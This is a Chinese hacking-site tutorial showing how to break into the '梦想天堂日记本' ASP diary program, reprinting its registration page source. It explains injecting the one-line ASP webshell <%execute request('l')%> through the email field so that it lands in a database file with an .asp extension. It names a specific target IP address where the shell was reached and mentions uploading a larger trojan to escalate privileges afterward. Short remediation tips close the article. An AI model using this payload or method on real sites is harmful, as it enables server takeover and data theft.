黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[组图]梦想天堂日记本程序漏洞
      ★★★★★
梦想天堂日记本程序漏洞
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-2-5

更改后缀名aspmdb。我们再用数据库浏览工具打开数据库看看:

哈哈,一共三个表。所有的日记都可以看到了。我们继续看一下userreg.asp这个用户注册页面。其代码如下:

<!--#include file="inc/conn.asp"-->

 

<%

reguser=reguservalue 'reguser=1:允许新用户注册; reguser=0:不允许新用户注册

if reguser=0  then

response.write "<script>alert('对不起,管理员已经限制新用户注册!');this.location.href='index.asp';</script>"

response.end

end if

%>

 

<!--#include file="top.asp"-->

<%

if Trim(Request.QueryString("ation"))="reg" then

username=replace(Trim(Request.Form("username")),"'","")                  password=replace(Trim(Request.Form("password")),"'","")                  sex=Trim(Request.Form("sex"))

email=Trim(Request.Form("email"))

regip=Trim(Request.Form("regip"))

set rs=server.CreateObject("adodb.recordset")

sql="select * from userlist where username='"&username&"'"             

rs.open sql,conn,1,1

if not (rs.bof and rs.eof) then

Response.Write("<script language=JavaScript>alert('该用户名称已经被注册,请尝试其他名称。')</script>")

else

set rs=server.CreateObject("adodb.recordset")

sql="select * from userlist"

rs.open sql,conn,1,3

rs.addnew

rs("username")=username

rs("password")=password

rs("email")=email

rs("regip")=regip

rs("sex")=sex

rs.update

response.cookies("user")=username

response.cookies("userid")=rs("userid")

rs.close

response.Redirect("userreg.asp?action=ok&username="&username)

end if

end if

%>

 

<script language="JavaScript">

function CheckForm()

{

    if (document.regform.username.value.length == 0) {

              alert("请输入你的呢称.");

              document.regform.username.focus();

              return false;

       }

 

    if (document.regform.password.value.length == 0) {

              alert("请输入你的密码.");

              document.regform.password.focus();

              return false;

       }

 

    if (document.regform.password.value != document.regform.password2.value) {

              alert("两次输入密码不相同.");

              document.regform.password.focus();

              return false;

       }

 

    if (document.regform.email.value.length == 0) {

              alert("请输入你的邮箱.");

              document.regform.password.focus();

              return false;

       }

      

       if (document.regform.sex[0].checked == false&&document.regform.sex[1].checked == false&&document.regform.sex[2].checked == false) {

              alert("请选择性别.");

              return false;

       }

 

}

</script>

 

 

 

 

<html>

<head>

<title>[用户注册] - 天堂日记本</title>

<meta name="Robots" content="all">

<meta name="Generator" content="Dreamweaver,ASP">

<meta name="copyright" content="Copyright 2006-2008 - aqbt.cn">

<meta name="Author" content="rayzhang,jbb008@163.com">

<meta name="description" content="天堂多用户日记本,心情日记,记录你每天的酸甜苦乐。">

<meta name="keywords" content="梦想中国,天堂,日记,日记本,多用户,天堂日记本,AQBT.CN">

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<style type="text/css">

<!--

body,td,th {

       font-size: 12px;

}

body {

       margin-top: 3px;

       margin-bottom: 1px;

}

-->

</style>

<link href="css.css" rel="stylesheet" type="text/css">

</head>

 

<body>

 

<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#E1E9FC" class="biao">

  <tr>

    <td>

         <div align="center">

        <%

Path="http://"&request.servervariables("server_name")&replace(request.servervariables("script_name"),"userreg.asp","index.asp")

if request.QueryString("action")="ok" then

username=request.QueryString("username")

okstring="<div align=center><font color=#0099CC>"&username&"</font>,恭喜你!你已经成功注册了<font color=#0099CC>飘易日记本</font>!<br><br>你所申请的日记本地址是:<a href="&path&"?user="&username&">"&Path&"?user="&username&"</a></div>"

okstring=okstring+"<br>你可以通过上面的地址直接访问你的日记本,添加、管理你的日记!"

response.Write(okstring)

else

%>

        

         </div></td>

  </tr>

  <tr>

    <td><div align="center">

      <p><span style="color: #FF6600; font-weight: bold; font-size: 16pt;"><br>

          <span style="color: #003399"> </span></span></p>

      <table width="260" height="150" border="1" align="center" cellpadding="0" cellspacing="0" bgcolor="#99CCFF" class="xi">

        <form language="javascript"  name="regform" method="post" action="userreg.asp?ation=reg" onSubmit="return CheckForm()">

          <tr>

            <td height="18" align="center"><div align="right">昵 称:<br>

                     </div></td>

            <td>

              <input name="username" type="text" class="input2" id="username" size="18" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="18" align="center"><div align="right">密 码:<br>

            </div></td>

            <td>

                     <input name="password" type="password" class="input2" id="password" size="20" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="3" align="center"><div align="right">确 认:</div></td>

            <td><input name="password2" type="password" class="input2" id="password2" size="20" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="3" align="center"><div align="right"> &nbsp;:</div></td>

            <td><input name="email" type="text" class="input2" id="email" size="19" maxlength="100">

              *</td>

          </tr>

          <tr>

            <td height="3"  align="center"><div align="right">性 别:<br>

                     </div></td>

            <td>

                      男孩

              <input type="radio" name="sex" value="images/Male.gif">

        女孩

        <input type="radio" name="sex" value="images/Female.gif">

        保密

        <input type="radio" name="sex" value="images/unknow.gif">

        <input type="hidden" name="regip" value="<%=request.ServerVariables("REMOTE_ADDR")%>"></td>

          </tr>

          <tr align="center">

            <td height="28" colspan="2">

                <input type="submit" name="Submit" value="注册申请">

&nbsp;&nbsp;

        <input type="reset" name="Submit2" value="清除重来">            </td>

          </tr>

        </form>

      </table>

      <p>&nbsp;</p>

    </div></td>

  </tr>

</table>

<%end if%>

      

</body>

</html>

<!--#include file="bottom.asp"--> 

 

以上程序,我们发现,只要输入用户名、密码及邮箱地址就能直接注册用户。程序过滤了表单中提交的用户名和密码单引号,简单的判断一下用户名和密码是否重复就直接带到数据库中了。我们知道数据库是asp后缀的,如果我们在用户名和密码处填写一句话木马,不就可以得到一个webshell了吗?当经过试验我们发现这是不可以的,如图:

原来作者对注入用户名和密码的表单做了限制,最大长度都为12。不符合一句话木马的最小长度。那是不是说我们无法利用呢?我们再回到源程序中来吧:

input name="password" type="password" class="input2" id="password" size="20" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="3" align="center"><div align="right">确 认:</div></td>

            <td><input name="password2" type="password" class="input2" id="password2" size="20" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="3" align="center"><div align="right"> &nbsp;:</div></td>

            <td><input name="email" type="text" class="input2" id="email" size="19" maxlength="100">

呵呵,大家看到了,程序对用户名和密码都做了12个字节的限制,但是对于邮箱输入的长度却是最大100个字符。足够我们插入一句话木马的长度了。

好了,我们下面就到主页上注册一个帐号,然后在邮箱地址里输入一句话木马<%execute request("l")%>。提交后提示注册成功,如图

然后我们连接到它的数据库地址http://221.195.40.85:81/data/aqbt.cn.asp,看到已经连接成功了:

之后就是上传我们的大马提权了。

总结:只要是数据库是asp后缀的且数据库连接文件没有做容错处理的站,直接可以拿到Webshell

漏洞的修补:

a)       暴库漏洞:在conn.asp开头加入容错语句“On error resume next”就可以了。但是默认的数据库路径还是要进行修改的。最好还是把数据库加上防下载处理。

b)      邮件地址:可以直接用conn.asp中的函数 HTMLEncode(fString)过滤一下就可以了。

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886